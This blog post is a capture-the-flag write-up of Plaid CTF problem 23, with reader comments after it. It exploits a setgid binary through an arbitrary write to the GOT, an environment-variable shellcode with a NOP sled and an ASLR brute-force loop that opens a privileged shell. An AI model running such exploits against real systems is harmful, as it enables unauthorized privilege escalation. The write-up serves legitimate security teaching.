Skip navigation

Cliquez ici pour la version française
This week end took place the Plaid CTF, made by the Plaid Parliament of Pwning team. Thanks to all of them for this awesome CTF, one of the best for a long time. I played it with the Zenk-Security team.
This is my write up for the problem 23, a « pwnable ».

It seems like AED also has some plans to raise hacker force!
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.
So we can get the secret key!

Ok, let’s go.
exp_23@a5:~$ cd /opt/pctf/exploit/
exp_23@a5:/opt/pctf/exploit$ ls -l
total 8
-rwxr-sr-x 1 root expkey 3448 Apr 21 12:05 exploitMe
-rw-r----- 1 root expkey 27 Apr 21 12:06 key

Let’s run it to check the number of args and whatever…
exp_23@a5:/opt/pctf/exploit$ ./exploitMe
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1 1
Segmentation fault

It’s time for some gdb stuff. (I use the .gdbinit that https://www.reverse-engineering.net provided for a long time, thanks to them for all their work. PS: it can be found here)
exp_23@a5:/opt/pctf/exploit$ gdb ./exploitMe
[...]Reading symbols from /opt/pctf/exploit/exploitMe...(no debugging symbols found)...done.
gdb$ run 1 2 3
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000003 EBX: 0x00000003 ECX: 0x00000001 EDX: 0x00000002 o d I t s z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFDEE6F8 ESP: 0xBFDEE660 EIP: 0x080485B2
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x80485b2: mov %edx,(%eax)
0x80485b4: movl $0x0,(%esp)
0x80485bb: call 0x8048434 <exit@plt>
0x80485c0: add $0x6c,%esp
0x80485c3: ret
0x80485c4: sub $0x2c,%esp
0x80485c7: mov $0x80486d3,%eax
0x80485cc: movl $0x5,0x8(%esp)
--------------------------------------------------------------------------------
0x080485b2 in ?? ()

The mov where the segfault occurs is very interesting. It writes the content of %edx to the address pointed by %eax. But, wait… We both control %eax and %edx !
You see the values ? They correspond to the third argument (for %eax) and the second argument (for %edx).

But it’s not as simple, the third argument must be under 71 or it exits. Let’s try something else to control %eax.

gdb$ run $(perl -e 'print "A"x50 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x55 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x60 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x64 . "BBBB"') 31337 69

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x42424242 EBX: 0x00000045 ECX: 0x00000000 EDX: 0x00007A69 o d I t s z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFA67E58 ESP: 0xBFA67DC0 EIP: 0x080485B2
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x80485b2: mov %edx,(%eax)
0x80485b4: movl $0x0,(%esp)
0x80485bb: call 0x8048434 <exit@plt>
0x80485c0: add $0x6c,%esp
0x80485c3: ret
0x80485c4: sub $0x2c,%esp
0x80485c7: mov $0x80486d3,%eax
0x80485cc: movl $0x5,0x8(%esp)
--------------------------------------------------------------------------------
0x080485b2 in ?? ()

Win ! Now, remember that ASLR is on and the NX bit is set. Look at this :
0x80485bb: call 0x8048434 <exit@plt>
It’s only 2 instructions after the one which segfault. Let’s ret2got.

exp_23@a5:/opt/pctf/exploit$ objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 <exit@plt>:
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>

We will rewrite the value at 0x80497f4 with the address of our shellcode.

We’ll put a shellcode with a big NOP sled (over 9000 NOPs) in some environment variable. The shellcode drops a bash shell with -p to preserve rights.

export SCH=$(perl -e 'print "\x90"x10000 . "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')

The shellcode’s address is between 0xbf800000 and 0xbfff——–, let’s use 0xbfaa57dc as an address for it. In decimal base it’s 3215611868.

Now, let’s bruteforce a bit :

while true; do ./exploitMe $(perl -e 'print "A"x64 . "\xf4\x97\x04\x08"') 3215611868 69; done
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
[...]
Segmentation fault
Segmentation fault
bash-4.1$ id
uid=6023(exp_23) gid=1007(expusers) egid=1008(expkey) groups=1007(expusers)
bash-4.1$ cat key
K3Ys_t0_15_M1nUtEs_0f_F4mE

The key is K3Ys_t0_15_M1nUtEs_0f_F4mE.

Many thanks to ZaZo0o and lestat for the review.

4 Comments

  1. Awesome writeup! I wasn’t able to get the GOT overwrite technique to work… And I now know where I was going wrong…
    I used 71 as the third param and I was able to control the return address reliably.

    Visit http://www.brightaxis.com

    • j
    • Posted 25 avril 2011 at 17 h 11 min
    • Permalink

    Upon visiting,www.reverse-engineering.net it appears the website was forced to close. Would you mind sharing the gdbinit file you mentioned?

    • hydraze
    • Posted 25 avril 2011 at 17 h 39 min
    • Permalink
  2. Thanks a lot for write up. Through CTF I try to make ROP, but don’t have enough stack for it. I overwrite to add esp, 1c, and have only 20 byte.


Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

What is 3 + 8 ?
Please leave these two fields as-is: